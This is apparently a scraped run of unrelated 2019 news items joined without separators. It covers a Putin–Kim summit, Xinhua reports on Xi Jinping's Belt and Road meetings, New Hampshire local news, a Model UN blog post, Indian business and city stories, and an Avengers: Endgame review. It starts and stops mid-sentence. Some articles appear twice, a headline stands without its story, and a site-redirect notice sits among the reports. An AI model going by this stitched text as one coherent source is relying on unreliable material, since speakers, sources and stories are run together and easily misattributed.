Definitely, the DPRK needs guarantees of its security and the preservation of sovereignty," Putin said at a press conference after talks with Kim. For his part, Kim said that he and Putin had a fruitful discussion on "ways of peaceful settlement" of the Korean Peninsula nuclear issue, which has become one of the most pressing issues on the international agenda. "I hope that our negotiations will continue along the same lines in a useful and constructive way," Kim said. On bilateral cooperation, Putin said that they had discussed a number of potential joint projects, such as a railway linking Russia with the Korean Peninsula, a pipeline for transportation of oil and gas, as well as electricity networks. He underlined all of the projects are possible and are "in the interests of South Korea." "In my opinion, if these projects and others like them were implemented, this would create the necessary conditions for increasing the trust necessary to solve the essential problems," Putin said. Kim arrived here on Wednesday for his first meeting with Putin, which came at a time when tensions are growing between the DPRK and the United States. The DPRK top leader has met U.S. President Donald Trump twice. Their second summit ended in Vietnam's Hanoi on Feb. 28 without an agreement. After the failure of the Trump-Kim meeting in Hanoi, "now it is necessary to give the entire settlement process some kind of impulse and push it forward," former Russian Ambassador to South Korea Gleb Ivashentsov said. He said that the Putin-Kim meeting provides such an impetus for the political settlement on the Korean Peninsula issue, noting that Russia is beginning to act as a more active participant in the process. "Pyongyang needs conciliatory gestures," Ivashentsov said. In addition, Ivashentsov noted the importance of Russia-China cooperation on this matter, saying that "perhaps further we will discuss some broader negotiations." State gives grant for Farmstead Park restoration in Upper Moreland Township Welcome to Morningstar.co.uk! You have been redirected here from Hemscott.com as we are merging our websites to provide you with a one-stop shop for all your investment research needs.To search for a security, type the name or ticker in the search box at the top of the page and select from the dropdown results.Registered Hemscott users can log in to Morningstar using the same login details. Similarly, if you are a Hemscott Premium user, you now have a Morningstar Premium account which you can access using the same login details. Chinese President Xi Jinping (R) meets with the United Arab Emirates (UAE) Vice President, Prime Minister and Ruler of Dubai Sheikh Mohammed bin Rashid Al Maktoum, who is here to attend the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 25, 2019. (Xinhua/Yan Yan) BEIJING, April 25 (Xinhua) -- Chinese President Xi Jinping on Thursday met with the United Arab Emirates (UAE) Vice President and Prime Minister Sheikh Mohammed bin Rashid Al Maktoum, who is here to attend the Second Belt and Road Forum for International Cooperation. Noting that China regards the UAE as an important cooperative partner in building the Belt and Road (B&R), Xi said that the two sides should steadily advance pragmatic cooperation centering on energy cooperation, with investment and infrastructure development as the supplement and the high-tech sector as the growth point. The two countries should deepen security cooperation, including combating terrorism and extremists, to jointly safeguard security and stability of the two countries and regions, he said, adding that China supports the UAE in hosting the World Expo next year, the first to be held in the Middle East. The UAE attaches great importance to its relations with China from a strategic perspective, said Sheikh Mohammed bin Rashid Al Maktoum, also ruler of Dubai. The Belt and Road Initiative will surely achieve great success and help B&R countries realize greater development, he said. The UAE looks forward to deepening its traditional friendship with China, strengthening high-level exchanges and expanding cooperation in a wide range of fields, he said. Chinese President Xi Jinping (R) meets with Malaysian Prime Minister Mahathir Mohamad, who is here to attend the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 25, 2019. (Xinhua/Yan Yan) BEIJING, April 25 (Xinhua) -- Chinese President Xi Jinping on Thursday met with Malaysian Prime Minister Mahathir Mohamad, who is here to attend the Second Belt and Road Forum for International Cooperation. Xi said China and Malaysia should take joint pursuit of the Belt and Road Initiative (BRI) as an opportunity to create a bright future for the China-Malaysia relations. The BRI will push forward China's all-round opening-up, which will bring about bigger opportunities for all countries in the world, especially for the neighboring countries, he said. The two sides should strengthen planning, enlarge the cooperation platform and promote high-quality cooperation, Xi said, adding that the two joint industrial parks in Qinzhou, China and Kuantan, Malaysia should be well built into an important connecting point for the New International Land-Sea Trade Corridor, promoting connectivity and development of the two countries and the region. He said the two sides should strengthen multilateral coordination, and improve and upgrade the China-ASEAN cooperation. China supports Malaysia in hosting the Asia-Pacific Economic Cooperation meeting next year, and promoting regional economic integration, economic globalization and the building of an open world economy, Xi said. Mahathir said the BRI is a great initiative with huge potential, which will not only help deal with the infrastructure and transport bottlenecks that are impeding the development of different countries, but also address the problem of unbalanced development among countries and promote cultural dialogue and exchanges. The international community should better know and understand the Belt and Road, which will be beneficial to the world, he said. Malaysia supports the BRI and looks forward to accelerating its own development by jointly building the Belt and Road, he said, adding that Malaysia is willing to enhance cooperation in international and regional affairs with China and jointly push forward ASEAN-China relations. Hansa Names Former IMRB Exec as New CEO In India, former Kantar IMRB exec Praveen Nijhara has joined Hansa Research as Chief Executive Officer, replacing Ashok Das who will continue as a senior advisor for the group. Headquartered in Mumbai, Hansa Research provides marketing research and advisory services across areas such as customer experience and advocacy, brand strategy, and product and process innovation. Nijhara (pictured) joins after nearly eleven years at Kantar IMRB, latterly as Senior Executive Director responsible for the firm's Customer Experience & Loyalty Business in the South Asia region. Prior to this he worked for ICICI Prudential Life Insurance as VP, Consumer Insights; and IMRB International as AVP; having begun his career with MORI in London as an RE. Das has led Hansa Research for the past seventeen years, and earlier was President of A C Nielsen ORG MARG, having begun his career at IMRB. Commenting on Nijhara's appointment, Das said: 'I am very happy to have found Praveen to succeed me, to lead Hansa Research in its next phase of development and growth. We have in him a true market researcher with energy and passion. Hansa is in an excellent position, and I am sure Praveen will provide the leadership for more innovation and greater engagement with the market'. Web site: www.hansaresearch.com . Gilford Steamer Hearing held on parking ban by Erin Plummer This week, the Gilford Board of Selectmen held a public hearing on banning roadside parking around what has become a popular hiking spot at the request of residents. Wednesday evening, the board held a hearing to ban roadside parking along Wood Road and Bickford Road (the hearing occurred after press time). Residents of four of the six properties in that area submitted a petition to the board of selectmen calling for parking to be banned in that area, saying roadside parking is a hazard and impacting their properties. The area is a dirt road with six houses on it, it also has a trailhead into the Belknap Range with a lot with enough space for five cars. At the April 3 selectmen's meeting, resident Jack Kelly said up until a few years ago, only Gilford residents knew about that trailhead and parking wasn't an issue. In the past two years, however, word about the area has spread on social media with the listing that parking is available at the site. As a result, Kelly said they get close to 20 cars a day down the road, which has blocked his and his neighbors' driveways. He said he has seen license plates from places like New York, Massachusetts, and Maine parked along that road. Kelly said he and his neighbors have put up No Parking signs around their properties, but they haven't had a way to enforce them. He said they have called the police and told that they should call a private tow truck. Tow truck operators that come out have said they are really not in that business. "It leaves us with nothing we can do," Kelly said. He said four of the six homeowners on that street have signed a petition. Board Chair Richard Grenier asked whether the problem would reoccur somewhere else if No Parking was declared in that area. Town Administrator Scott Dunn said he didn't know what would happen if people found that lot full. "I think after a few cars are towed, people will get the hint," Dunn said. Grenier said that can go up on social media as well. Kelly said that trailhead is also accessible from Gunstock's parking lot less than a mile from Bickford Road. Kelly said that someone like Belknap Range Trail Tenders (BRATTs) can go on blogs and change the parking information. "It needs to get out. A couple people need to get a ticket or towed," Kelly said. "When I ask people not to park abutting my driveway they tell me to go pound sand and they just keep going." Selectman Gus Benavides thanked Kelly for coming to the board, saying if that was his road he wouldn't have lasted for two months let alone two years. He said it's incredibly fortunate that there hasn't been an accident out there. "I appreciate that you came before us," Benavides said. "That's what this us about: helping residents come to a reasonable solution to a problem." The board voted unanimously to schedule a public hearing on April 24. This week, the Gilford Board of Selectmen held a public hearing on banning roadside parking around what has become a popular hiking spot at the request of residents.Wednesday evening, the board held a hearing to ban roadside parking along Wood Road and Bickford Road (the hearing occurred after press time). Residents of four of the six properties in that area submitted a petition to the board of selectmen calling for parking to be banned in that area, saying roadside parking is a hazard and impacting their properties.The area is a dirt road with six houses on it, it also has a trailhead into the Belknap Range with a lot with enough space for five cars. At the April 3 selectmen's meeting, resident Jack Kelly said up until a few years ago, only Gilford residents knew about that trailhead and parking wasn't an issue. In the past two years, however, word about the area has spread on social media with the listing that parking is available at the site. As a result, Kelly said they get close to 20 cars a day down the road, which has blocked his and his neighbors' driveways. He said he has seen license plates from places like New York, Massachusetts, and Maine parked along that road.Kelly said he and his neighbors have put up No Parking signs around their properties, but they haven't had a way to enforce them. He said they have called the police and told that they should call a private tow truck. Tow truck operators that come out have said they are really not in that business."It leaves us with nothing we can do," Kelly said.He said four of the six homeowners on that street have signed a petition.Board Chair Richard Grenier asked whether the problem would reoccur somewhere else if No Parking was declared in that area. Town Administrator Scott Dunn said he didn't know what would happen if people found that lot full."I think after a few cars are towed, people will get the hint," Dunn said.Grenier said that can go up on social media as well.Kelly said that trailhead is also accessible from Gunstock's parking lot less than a mile from Bickford Road. Kelly said that someone like Belknap Range Trail Tenders (BRATTs) can go on blogs and change the parking information."It needs to get out. A couple people need to get a ticket or towed," Kelly said. "When I ask people not to park abutting my driveway they tell me to go pound sand and they just keep going."Selectman Gus Benavides thanked Kelly for coming to the board, saying if that was his road he wouldn't have lasted for two months let alone two years. He said it's incredibly fortunate that there hasn't been an accident out there."I appreciate that you came before us," Benavides said. "That's what this us about: helping residents come to a reasonable solution to a problem."The board voted unanimously to schedule a public hearing on April 24. Gilford Steamer Additional terrain, lodging in proposed plan for Gunstock SantaLand brings out families for holiday fun Thanks for visiting SalmonPress.com Winnisquam Echo Clare Mills named Winnisquam District's Teacher of the Year by Donna Rhodes write the author Clare Mills was recognized last week as the 2018-19 Teacher of the Year for the Winnisquam Regional School District. Taking part in the surprise presentation was school board member Julie Lonergan, family friend Rocco DiPietro, daughter Laura Mills, SAU 59 Superintendent Rob Seaward, Mills, her husband Rich, and school board members Tarra LaChapelle and Julie Petty. (Photo by Donna Rhodes) (click for larger version) NORTHFIELD When Clare Mills, Behavioral Specialist for the Student Support Center at Union-Sanborn School, began her weekly assembly for students in pre-school through second grade last Thursday morning, she was suddenly interrupted by members of the Winnisquam Regional School Board who had a presentation of their own to make- her award as the district's 2019 Teacher of the Year. Board member Tarra LaChapelle told the students, "We are here to deliver a very special message. Each year a special teacher is selected by the school community. What I mean by that is a lot of other people, such as teachers, parents, students from all of our schools, select a special someone to be teacher of the year. Well that special person is right here in this room." Seeing her family beside Superintendent Rob Seaward and representatives of the school board, the secret was quickly out and Mills rushed forward in tears, hugging them all. She had to be patient, though, as LaChapelle, Julie Petty and Julie Lonergan then described why Mills was selected. They said she was someone who was calm and composed, a strong collaborator with excellent communication skills. She had compassion for children and families, positively included parents in education, and made students feel worthy. Mills, they added, was a team player who built strong connections that benefitted students. In her role at USS, Mills, who has been with the district for 25 years, has also served as chair for Special Education in SAU 59, been part of the Leadership and Universal Teams, analyzes student behavior and runs student support groups. Recognized as a great asset to classroom teachers Petty said, "You just may find this person often in the Student Support Center, very focused on Be Kind, Be Safe and Be a Learner." Mills was then presented with flowers from the district as well as a plaque honoring all past recipients of the Teacher of the Year Award. That plaque will now hang in her honor at Union-Sanborn School for the next year but Mills will also have a requirement to fulfill as the 2019 award recipient. "You'll now be asked to select someone from this year's graduating class at Winnisquam High School to receive a $500 scholarship," she was told by the board. Union-Sanborn Principal Jessica Makris Welch was excited to learn one of her teachers was selected among the many dedicated faculty members who are a part of the district. "She's the first faculty member to be selected from Union-Sanborn School and she certainly deserves it," said Welch. Mills was nearly speechless at the assembly last Thursday morning. Adding to her emotions was a special video presentation from several students and coworkers, all of whom had something special to say about her. "Her natural instinct is to see the world through a child's eyes," one teacher observed. Others praised her for presenting students with lessons they will use all their lives, while another added, "You do it every day with a smile on your face. Congratulations. You deserve it." The staff members even held up a chalkboard sign from their office wall with the motto, "It's a good day to have a good day," as they congratulated her on camera. A saying they felt fits Mills' daily outlook. Students chimed in as well. Through notes written anonymously, they praised Mills for not only being there when they need her, but for taking time out to provide a break for them on a stressful day. "She is pretty much the best teacher I ever had," one second grade student confessed. Through more tears after the presentation Mills told the assembly, "Thank you all so much for your kind words. I just want to say I'm overwhelmed." As she and her family was then invited to enjoy cake and refreshments, Mills took a moment to compose her thoughts. She said her own children went to school in the Winnisquam School District, including elementary school at Union Sanborn. Having been with the district for over two decades as not just a parent but a faculty member, too, she said felt blessed, humbled and very grateful for this special recognition from her peers and the community. Mills finished by saying with sincerity, "This school is my heart." NORTHFIELD When Clare Mills, Behavioral Specialist for the Student Support Center at Union-Sanborn School, began her weekly assembly for students in pre-school through second grade last Thursday morning, she was suddenly interrupted by members of the Winnisquam Regional School Board who had a presentation of their own to make- her award as the district's 2019 Teacher of the Year.Board member Tarra LaChapelle told the students, "We are here to deliver a very special message. Each year a special teacher is selected by the school community. What I mean by that is a lot of other people, such as teachers, parents, students from all of our schools, select a special someone to be teacher of the year. Well that special person is right here in this room."Seeing her family beside Superintendent Rob Seaward and representatives of the school board, the secret was quickly out and Mills rushed forward in tears, hugging them all. She had to be patient, though, as LaChapelle, Julie Petty and Julie Lonergan then described why Mills was selected.They said she was someone who was calm and composed, a strong collaborator with excellent communication skills. She had compassion for children and families, positively included parents in education, and made students feel worthy. Mills, they added, was a team player who built strong connections that benefitted students. In her role at USS, Mills, who has been with the district for 25 years, has also served as chair for Special Education in SAU 59, been part of the Leadership and Universal Teams, analyzes student behavior and runs student support groups.Recognized as a great asset to classroom teachers Petty said, "You just may find this person often in the Student Support Center, very focused on Be Kind, Be Safe and Be a Learner."Mills was then presented with flowers from the district as well as a plaque honoring all past recipients of the Teacher of the Year Award. That plaque will now hang in her honor at Union-Sanborn School for the next year but Mills will also have a requirement to fulfill as the 2019 award recipient."You'll now be asked to select someone from this year's graduating class at Winnisquam High School to receive a $500 scholarship," she was told by the board.Union-Sanborn Principal Jessica Makris Welch was excited to learn one of her teachers was selected among the many dedicated faculty members who are a part of the district."She's the first faculty member to be selected from Union-Sanborn School and she certainly deserves it," said Welch.Mills was nearly speechless at the assembly last Thursday morning. Adding to her emotions was a special video presentation from several students and coworkers, all of whom had something special to say about her."Her natural instinct is to see the world through a child's eyes," one teacher observed.Others praised her for presenting students with lessons they will use all their lives, while another added, "You do it every day with a smile on your face. Congratulations. You deserve it."The staff members even held up a chalkboard sign from their office wall with the motto, "It's a good day to have a good day," as they congratulated her on camera. A saying they felt fits Mills' daily outlook.Students chimed in as well. Through notes written anonymously, they praised Mills for not only being there when they need her, but for taking time out to provide a break for them on a stressful day."She is pretty much the best teacher I ever had," one second grade student confessed.Through more tears after the presentation Mills told the assembly, "Thank you all so much for your kind words. I just want to say I'm overwhelmed."As she and her family was then invited to enjoy cake and refreshments, Mills took a moment to compose her thoughts. She said her own children went to school in the Winnisquam School District, including elementary school at Union Sanborn. Having been with the district for over two decades as not just a parent but a faculty member, too, she said felt blessed, humbled and very grateful for this special recognition from her peers and the community.Mills finished by saying with sincerity, "This school is my heart." Chinese President Xi Jinping (R) meets with Papua New Guinea (PNG) Prime Minister Peter O'Neill, who is here to attend the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 25, 2019. (Xinhua/Yan Yan) BEIJING, April 25 (Xinhua) -- Chinese President Xi Jinping on Thursday met with Papua New Guinea (PNG) Prime Minister Peter O'Neill, who is here to attend the Second Belt and Road Forum for International Cooperation. Recalling his state visit to PNG in November 2018, Xi said the relations between China and PNG is in the best period in history. China highly appreciates PNG for prioritizing relations with China in its diplomacy and giving solid support to China on issues concerning China's core interests, he said. China supports PNG in choosing a development path on its own that is in line with its national conditions, Xi said. China is willing to work with PNG to strengthen coordination and cooperation under the multilateral framework, so as to enhance the comprehensive strategic partnership between the two countries, he said. PNG is in a leading position among the Pacific island countries in jointly building the Belt and Road, Xi said, adding that China and PNG should further expand cooperation and set an example for the island countries in building the Belt and Road. China has no self interest in the Pacific island countries, and does not seek the so-called "sphere of influence," Xi said, adding that China will always be a trustworthy friend and partner to these countries. O'Neill expressed congratulations on the 70th founding anniversary of the People's Republic of China, and on its achievement in economic development and poverty alleviation, which he said is also a contribution to the world peace and development. O'Neill said President Xi's visit to PNG last year is historic. PNG adheres to the one-China policy, and is willing to enhance cooperation with China under the Belt and Road framework, he added. The Charger Blog At a recent National Model United Nations conference in New York, the University of New Haven took home the top team award, as well as a team record seven best position paper awards. Douglas Gordon 21, an international development and diplomacy major, reflects on the experience. By Douglas Gordon 21 University of New Haven students attended a recent National Model United Nations conference in New York. The University of New Havens Model United Nations (MUN) team recently returned from a successful conference in New York. While earning an unprecedented number of awards signifies our level of achievement, the most important accomplishment was the significant level of personal and professional growth of each of our student delegates. At this conference, the University of New Haven MUN represented the delegations from Mozambique and Saint Kitts and Nevis. The conference included delegates from all around the world, and more than 60 percent of the universities were international institutions. At the conference, we collaborate with other delegates to solve real-world challenges through the creation of a draft resolution. These resolutions are shown to actual United Nations delegates to inspire future activity and to demonstrate the resolve and hard work of future diplomats. The Universitys MUN teams representing St. Kitts and Nevis and Mozambique were recognized at the conference. MUN enables participants to meet students from around the world who are interested in the same topics. Before the conference begins, we spend time meeting students from the other delegations. Many of us have made long-distance friendships and maintain communication with them regularly, despite how far away they may live. The conference consists of various committees that all deal with different topics. At this conference, I was in the General Assembly First Committee. This is the largest committee in the entire conference, so I knew there were going to be challenges throughout the week. When the conference started, I was working with more than 30 delegates, representing delegations from the western hemisphere. This group expanded to become a group of approximately 50 delegates. Leading a large group like this was a challenge. I had to brainstorm a process to combine the ideas of all of the papers in a time-efficient manner, while keeping all of the delegates in the group engaged. Collectively, our efforts resulted in 10 awards the highest number of awards our program has ever received. Each committee gives two awards: the outstanding delegate award and the best position paper award. The outstanding delegate award is given to the delegates identified by their peers as hardworking, knowledgeable, and diplomatic. We had a first-time delegate win this award. "Without MUN, I might still be that student who struggles to speak in front of groups and who second guesses himself when pitching an idea. I look forward to applying this confidence to all of my future endeavors." Douglas Gordon 21 The position paper award is given to the delegations who write the best papers that detail a delegations position on each topic. We won seven position paper awards this year, which is more than we ever have received. At the closing ceremony, the best delegations are recognized for their efforts throughout the conference. Our St. Kitts and Nevis team was awarded the Outstanding Delegation award, the highest honor. Our team representing Mozambique was awarded the second-highest honor, the Distinguished Delegation award. We were pleased because we worked tirelessly to prepare for the conference, and all of the work paid off. After the conference was done, I felt an immense sense of accomplishment. Although I know that much of this growth could never have happened if I did not embrace the challenge and put in the hard work, I credit most of my growth as a person and as a professional to our MUN program. Without MUN, I might still be that student who struggles to speak in front of groups and who second guesses himself when pitching an idea. I look forward to applying this confidence to all of my future endeavors. By PTI NEW DELHI: Hotel Leelaventure Friday said its shareholders have approved the resolutions to sell its four hotels, hotel operations, and its shares in the company's arm Leela Palaces and Resorts Ltd by postal ballot. The company, however, said it will abide by the directions of Sebi that none of the transactions proposed in its postal ballot notice will be acted upon till further directions from the markets regulator. The hotels, the sale of which shareholders have approved, are in Delhi, Bengaluru, Chennai and Udaipur, Hotel Leelaventure said in a filing to the BSE. The shareholders also gave their nod to the sale of the company's hotel operations undertaking and to the sale of the company's shareholding in Leela Palaces and Resorts Ltd, its wholly-owned subsidiary, it added. All the special resolutions were approved by 86.60 per cent of the votes that were polled, while 13.39 per cent opposed the resolutions, it added. ALSO READ: Hotel Leela Venture to sell hotels, property to Brookfield for Rs 3,950 crore "As directed by Sebi vide its letter dated April 23, 2019, read with its e-mail dated 25th April, 2019, the company will ensure that none of the transactions proposed in the company's postal ballot notice dated March 18, 2019, will be acted upon till further directions from Sebi," Hotel Leelaventure said. On March 18, Hotel Leelaventure Ltd (HLVL) had announced the sale of its four hotels located in Bengaluru, Chennai, Delhi and Udaipur, as well as a property to Canadian investment fund Brookfield for Rs 3,950 crore. It had sought shareholders' approval. The Securities and Exchange Board of India (Sebi) in its letter to Hotel Leelaventure on April 23 said it has received representations from ITC, which has also moved the National Company Law Tribunal against Hotel Leelaventure alleging "oppression and mismanagement", and minority shareholder Life Insurance Corporation (LIC) and, then, it restrained the company from going ahead with the deal till further directives. Shares of Hotel Leelaventure on Friday closed at Rs 10.61 per scrip on the BSE, down 2.12 per cent from its previous close. By IANS NEW DELHI: After being rapped by the Supreme Court, the Reserve Bank of India (RBI) is likely to withdraw its 2016 policy of non-disclosure of information on big loan defaulters under the Right to Information (RTI) Act. The move will allow the central bank to disclose the annual inspection reports of the banks and the list of wilful defaulters under the RTI Act. The Supreme Court on Friday ruled that the RBI was duty bound to disclose information related to wilful defaulters. The banking regulator has not officially responded to the SC order so far. Sources said the RBI would discuss the SC order to decide the next course of action on disclosure of information under the RTI Act. An email sent to the apex bank did not elicit any response. The RBI also did not reveal whether it would straightaway share the information sought by the RTI applicants or will seek time to review the SC order before acting upon it. According to another source, considering that the SC has said it was giving the RBI "one last opportunity", there is not much that RBI could do but abide by the order and withdraw its 2016 application on non-disclosure policy for RTI query. Any laxity will invite contempt of court proceedings against the central bank. The apex court, while directing the RBI to withdraw its non-disclosure policy, warned that any future violation of the transparency law would be taken "seriously". The SC held that the RBI's non-disclosure policy was in violation of a top court order passed in 2015, which directed the central bank to disclose information under the provisions of the RTI Act. Opinions were divided on whether internal assessment reports should be made public. Former RBI Deputy Governor Rama Subramaniam Gandhi said: "It is a standard practice all over the world that bank supervisors keep the inspection report confidential. Public disclosures can undermine public confidence in the banks through uninformed and out of context interpretations." He also said that public disclosures will not help the banks recover money from the defaulters. However, proxy advisory and corporate governance firm InGovern said that the SC order was a war on non-performing assets (NPAs) and that being shareholders of the public sector banks, people had the right to know such information. "It (the order to disclose information) may not help the banks, but it will definitely help the investors in the banks and the taxpayers in general if they get to know about the wilful defaulters and what exactly the RBI said in the inspection reports. It will surely help the shareholders track down the divergences made by many banks on NPA dislosures," said Sriram Subramanyam, Managing Director at InGovern. "Taxpayers are the shareholders in PSU banks and they are paying for the wilful defaulters. So they have the right to know what is the quantum of NPAs and who are the wilful defaulters. This should be seen as a war on NPAs," he said. This is for the second time in a month that the SC has struck down some of the key decisions of the RBI taken during its former Governor Urjit Patel's tenure. On April 2, the apex court declared RBI's February 2018 NPA circular as "ultra vires," mandating insolvency proceedings. In that order, the SC quashed the February 12, 2018 RBI circular which gave the lender banks six months' time to resolve their stressed assets or move under insolvency proceedings against defaulters in loans worth over Rs 2,000 crore. With regard to the non-disclosure policy, the case was filed after the petitioners were denied copies of inspection reports of ICICI Bank, Axis Bank, HDFC Bank and State Bank of India from April 2011 till December 2015. They had sought the same under the RTI Act in December 2015. In January this year, the court had issued a contempt notice to the RBI. By Express News Service BENGALURU: A Bengaluru native and CEO of a Saudia Arabia-based construction firm, Gold Tower Group, on Thursday claimed to be able to get Jet Airways up and running within just ten days through Gulf-based NRIs if the shares held by former Chairman Naresh Goyal were sold to the group. At a briefing for the media, Mohammed Nagaman Lateef claimed that three individuals, two of them Indians who have now become Saudi Arabian citizens and an Indian tycoon, were willing to keep Jet Airways afloat. "They are willing to invest anywhere between Rs 8,000 crore and Rs 10,000 crore, provided that 24% of Jets shares held by Goyal are sold to them," Lateef said. Lateef said he was in town to set up his own celebrity firm, International Iconic Federation. His tweet sent on April 19 to the Jet Airways official handle read: Hai Jet Airways, whomsoever it may concern. I wanna speak to the CEO and Mr Naresh Goyal regarding the emergency funding if possible send me contact details. He also claimed that he contacted SBI officials and expressed his keenness to fund the airways. But when he was asked who he contacted, he spoke of an official familiar to him at the Murudeshwara branch of SBI. The official told me that only those with an aviation background are permitted to invest in the company, he claimed. Also Read: Jet Airways pilots accuse SpiceJet official of humiliating them at job interview Asked about the turnover of his present firm Gold Tower Group, Lateef said it was not right on his part to share it. A press release shared on the occasion said, I request Naresh Goyal and the CEO Vinay Dubey to have a board meeting with all employees and me so that we can speak to the Gulf gountries Qatar and Dubai to invest in Indias leading airlines. We can make sure once again to make it fly high in next 240 hours.A Jet Airways spokesperson was not available for a response. By Express News Service BENGALURU: In a freak tragedy, a 17-year-old girl slipped and fell to her death from the terrace of her building while practising yoga as per her daily morning routine. The incident took place at Sitara Apartments in Ramakrishnapura area in Chandapura near Surya City police station limits on Thursday morning. The police probed case and concluded that it was not a case of suicide. The deceased has been identified as Priyanka Pal, a 2nd year PU student at a private college in Electronics City. The police said the incident took place around 8 am when Priyanka went to the terrace from her third floor apartment to practise yoga. Her parents were in the house busy with their daily morning chores. The police said prima facie it appeared that Priyanka, while crossing the water pipeline, tripped and fell from the terrace which is on the ninth floor. Upon inspection, the police revealed that the terrace parapet wall was not high enough to prevent anyone from falling. An officer investigating the case said, We also checked CCTV footage and saw that she went alone to the terrace. We have instructed the association to take proper security around the premise after the incident. But no case has been filed against the apartment owners or association. On hearing the sickening thud, the building residents went to see what had happened and found Priyanka lying in a pool of blood. They alerted the building security guards, but she had died on the spot. The police rushed to accident site and shifted her body to Attibele Government Hospital for a post-mortem examination. She was found to have suffered multiple fractures on her shoulder and hands due to the impact of the fall. Anjan Kumar Pal, the father of the deceased, who hails from Kolkata, made a statement saying he too believed that she had not committed suicide: I have no suspicions about Priyankas death. She had no issues which would drive her to end her life. Pal works in a software company, and Priyanka was the elder of his two daughters. By Express News Service BENGALURU: City Police Commissioner T Suneel Kumar on Thursday held a meeting with the heads, representatives and security authorities of important temples, churches and mosques, besides malls, hotels and restaurants across the city, to review security measures after the serial blasts in Sri Lanka. The chiefs and trustees have been instructed to install CCTV cameras and other safety measures to ensure security in and around their respective premises. Suneel Kumar told the media, I have given instructions to adopt immediate safety measures by installing CCTV cameras and hiring security guards either through voluntary or private agencies to track movements of suspicious persons, and alert the police control room or the jurisdictional police immediately. Department officials and DCPs from their respective divisions often conduct such meetings with trustees, board members and managers of religious institutions and commercial places to review it. The commissioner further said: The Sri Lanka attack is an alarm bell for us. We want to alert our hotelier friends to escalate security measures like baggage scanners, metal detectors along with physical checking and frisking of each and every individual. We also want to point out that proper identity and address of visitors is important. Although elaborate security measures are in place, we want cooperation in maintaining vigil in various places. He said the department police force is not enough to maintain surveillance. So the public has to join us in remaining alert about any suspicious movements. Bengalurus population is more than 1 crore, thus we will have 2 crore eyes and ears to beef up security, Kumar said. ANTI- TERRORIST SQUAD DELAYED The police department has decided to set up an Anti-Terrorist Cell in the city. We had sent a proposal to the state govt, but it is still pending. We want the ATS to be formed as soon as possible. HOTELS TO HIRE MORE SECURITY STAFF A staffer from a five-star hotel said, At the meeting, we discussed safety in hotels and decided to hire more security staff. They will be trained on how to handle untoward incidents and we will do it on a daily basis before they come to work. Parvez Sultan By Express News Service NEW DELHI: After the Delhi Urban Development Commission (DUAC) rejected the proposal for redevelopment of Chandni Chowk, the Delhi High Court has directed Lieutenant Governor (L-G) Anil Baijal to convene a meeting of all stakeholders in the project to reach a consensus over suggestions made by the commission. It is mandatory to get approval from DUAC for every project or structure in the national capital which is likely to affect the skyline or the aesthetics of the surroundings. Urging agencies associated with the project, including members of the Unified Traffic and Transportation Infrastructure (Planning & Engineering) Centre (UTTIPEC), which approved the project in August last year, to be receptive to new ideas, the court said, All parties to participate in the meeting with an open mind and to work towards the larger public interest, keeping in view the need to carry forward the Chandni Chowk Redevelopment Project. The basic approach should be non-adversarial. The L-G is chairperson of the UTTIPEC, and all infrastructure projects in the national capital need a nod from the body. As per the court order, the said meeting is to be convened on May 15. In an order passed on Tuesday, a bench of Justices S Muralidhar and IS Mehta left the decision to hold more meetings to resolve the issue, if required, to the L-G. If the deliberations remain inconclusive, further meetings be convened so that the exercise of deliberations and discussion be completed and a consensus or decisions arrived at before the next date of hearing, said the order. The next date of hearing is May 27. The long-pending project to decongest the about 1.5 kilometre-long Chandni Chowk road, starting from Red Fort to Fatehpuri mosque, was given the final go ahead by the UTTIPEC in August last year. Under the redevelopment plan, power transformers, police booths, public conveniences and other facilities are proposed to be placed on a 3.5 metre-wide central vista. In March, the DUAC red-flagged the proposal to place power transformers and public toilets on the median. The work began in December. A Delhi government official associated with the project said a part of the redevelopment might be completed by August 15. Five power transformers have already been placed. We are targeting completing work on a section of the road--from Red Fort crossing to Gurdwara Sis Ganj--by August 15. This will help showcase the efforts being made to preserve the heritage character of the 17th century market, he said. By Express News Service NEW DELHI: The Indian Council of Medical Research (ICMR) on Thursday launched an initiative to offer emergency medical assistance through motorbike-borne paramedics within a three-kilometre radius of AIIMS. The pilot project titled Mission DELHI (Delhi Emergency Life Heart-Attack Initiative) will begin with offering services for cases of heart attack or chest pain. According to ICMR, under this project, a pair of motorcycle-borne trained paramedic nurses would be the first responders for treating those who have suffered a heart attack. On getting the call via a helpline number, the team would rush to the spot and conduct a quick examination based on the medical history of the patient. The team would then take an ECG of the patient and immediately connect to a cardiologist at AIIMS. Based on the guidance and advice of the doctor, the patient will be treated. The idea is to reach with medical help much faster, given the high-density traffic conditions in the city, where the movement of four-wheeled ambulances becomes difficult, AIIMS said in a statement. Sudhir Srinivasan By Express News Service If you havent seen Endgame yet, consider yourself warned that any attempt to review this film one that doesnt stop with vague, unsatisfying, superficial references, of course is going to be littered with spoilers, even if they are seemingly insignificant. Avengers: Endgame is that sort of film. It indulges in brave redesigning of beloved characters, some retelling of the past, a central idea that taps into nostalgia even while confounding you with paradoxes Its impossible to review this film without at least mentioning its grand schemes. Its a film whose details have been guarded with as much determination as shown by its superheroes in protecting the Infinity Stones. Even if I shall observe much caution, Im the reluctant Thanos here forced to wipe away some of your surprises even if not half and if you should want to watch this film unpolluted by analysis, you know what to do. Now that thats out of the way, heres starting with my most favourite aspect of Endgame. Its not its thumping war sequences, its not its marriage of at least three popular genres of films, its not its emotional gravitas its its lack of haste. Endgame is the film that brings to conclusion more than ten years of Marvel films, and if you expected it to kick into fifth gear in hurry and keep at it till the very end, you couldnt be more wrong. Its not war from the outset although you could certainly make the case for this being a different sort of war. A fight not fought as collectively as it is individually by many of these traumatised superheroes. A fight not fought as flamboyantly, as publicly, as it is privately. The grim events of Infinity War have taken a toll on all of them, and quite fittingly, the mood gets set by a poignant scene in the life of Clint Barton/Hawkeye. This is perhaps Marvels most emotional film yet, and this scene really sets the stage for what follows for the next three hours. The next time someone makes an insulting comment about the frivolity of superhero films, show them this film. After you show Logan, of course. ALSO READ | Avengers: Endgame fever grips Google, search 'Thanos' and see for yourself The Russo brothers exhibit great restraint in milking this film for superficial hero moments designed for applause. Its not that sort of film. Each of these extraordinary characters get very ordinary introductions. Ironman and Nebula are playing a game on a stranded spacecraft, awaiting death. A few scenes later, Captain America is in a group therapy meeting, which features a cameo from one of the directors, Joe Russo. Meanwhile, Thor is well, let me just say hes no pirate angel anymore. Bruce Banner/Hulk goes through a transformation himself. These are terrific ideas 